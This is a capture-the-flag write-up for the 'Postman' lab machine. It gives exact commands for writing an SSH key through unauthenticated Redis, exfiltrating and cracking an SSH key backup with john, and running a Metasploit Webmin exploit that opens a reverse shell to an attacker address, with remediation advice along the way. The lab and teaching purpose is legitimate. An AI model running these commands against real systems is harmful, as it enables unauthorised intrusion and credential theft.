Postman
Summary
I exploited a completely unauthenticated Redis service to inject an SSH public key and land a shell as the redis system account, then read a world-readable encrypted SSH private-key backup left in /opt, cracked its passphrase offline with a common wordlist, and used that same passphrase — reused verbatim as Matt's Webmin password — to authenticate to a vulnerable Webmin 1.910 instance and trigger an OS command injection vulnerability that returned a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for Matt>"Attack path — how the box was taken
Exact commands 3
Version and default-script scan across the four relevant ports.
$ nmap -sV -sC -p 22,80,6379,10000 $TARGETConfirm Redis requires no authentication; expect PONG.
$ redis-cli -h $TARGET -p 6379 PINGRetrieve Redis version for vulnerability mapping.
$ redis-cli -h $TARGET -p 6379 INFO server | grep redis_versionExact commands 3
Confirm the Redis save directory is the redis user's home.
$ redis-cli -h $TARGET -p 6379 CONFIG GET dirConfirm the RDB save filename.
$ redis-cli -h $TARGET -p 6379 CONFIG GET dbfilenameCheck for existing databases and keys.
$ redis-cli -h $TARGET -p 6379 INFO keyspaceFixRequire authentication on Redis and block external access to port 6379Critical
requirepass <64-char-random-string>). Disable or rename dangerous commands that should never be exposed: rename-command CONFIG "", rename-command SAVE "", rename-command FLUSHALL "". Bind Redis exclusively to loopback (bind 127.0.0.1) and enforce a firewall rule that drops all external connections to port 6379. If Redis must be reachable from other internal hosts, use TLS and require-pass, and segment it behind an internal-only security group or ACL.Exact commands 6
Generate throwaway keypair; no passphrase needed.
$ ssh-keygen -t rsa -f /tmp/postman_redis -N ""Store the public key with padding so it survives RDB encoding.
$ (printf "\n\n"; cat /tmp/postman_redis.pub; printf "\n\n") | redis-cli -h $TARGET -p 6379 -x SET ssh_keyRedirect the RDB save path to redis's .ssh directory.
$ redis-cli -h $TARGET -p 6379 CONFIG SET dir /var/lib/redis/.sshName the saved file authorized_keys.
$ redis-cli -h $TARGET -p 6379 CONFIG SET dbfilename authorized_keysFlush the RDB — now containing the public key — to disk.
$ redis-cli -h $TARGET -p 6379 SAVEVerify shell access; expect uid=107(redis).
$ ssh -i /tmp/postman_redis -o StrictHostKeyChecking=no redis@$TARGET id
uid=107(redis) gid=114(redis) groups=114(redis)Exact commands 3
Confirm /opt/id_rsa.bak is readable by redis.
$ ssh -i /tmp/postman_redis -o StrictHostKeyChecking=no redis@$TARGET 'ls -la /opt/'Exfiltrate the backup key to my machine.
$ ssh -i /tmp/postman_redis -o StrictHostKeyChecking=no redis@$TARGET 'cat /opt/id_rsa.bak' > /tmp/postman_matt_id_rsaFix local permissions so SSH will accept the file.
$ chmod 600 /tmp/postman_matt_id_rsaFixRemove sensitive backup files from the filesystem and restrict file permissionsHigh
find / \( -name '*.bak' -o -name 'id_rsa*' -o -name '*.pem' -o -name '*.key' \) -not -path '/proc/*' 2>/dev/null. Any private key that must remain on disk should be readable only by its owner (chmod 600, chown owner:owner). Enforce SSH key passphrases of at least 20 random characters managed by a password manager or secrets vault (e.g., HashiCorp Vault, AWS Secrets Manager). Do not store key backups on shared or world-readable paths; use encrypted, access-controlled storage instead.Exact commands 3
Convert the PEM-encrypted key to a john-compatible hash.
$ ssh2john /tmp/postman_matt_id_rsa > /tmp/postman_matt.hashDictionary attack; recovers passphrase '$PASSWORD'.
$ john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/postman_matt.hashDisplay the cracked result.
$ john --show /tmp/postman_matt.hashExact commands 2
Enter passphrase '$PASSWORD' when prompted.
$ ssh -i /tmp/postman_matt_id_rsa Matt@$TARGETRetrieve the user flag — -> <user.txt>
$ cat /home/Matt/user.txtExact commands 1
Confirm Matt:$PASSWORD authenticates to Webmin before launching the exploit.
$ curl -sk -u Matt:$PASSWORD https://$TARGET:10000/ | grep -i 'webmin\|version'FixEnforce unique credentials — prohibit reuse of SSH passphrases as service passwordsHigh
Exact commands 3
Replace LHOST with your attack machine IP. Module path is exploit/linux/http/webmin_packageup_rce (not the CVE-2019-12840 variant).
$ msfconsole -q -x "use exploit/linux/http/webmin_packageup_rce; set RHOSTS $TARGET; set RPORT 10000; set SSL true; set USERNAME Matt; set PASSWORD $PASSWORD; set TARGETURI /; set LHOST $ATTACKER_IP; set LPORT 4444; set payload cmd/unix/reverse_perl; run"In the resulting session — confirms uid=0(root).
$ id
uid=0(root) gid=0(root)Retrieve the root flag — -> <root.txt>
$ cat /root/root.txtFixUpgrade Webmin and restrict administrative panel access by networkCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.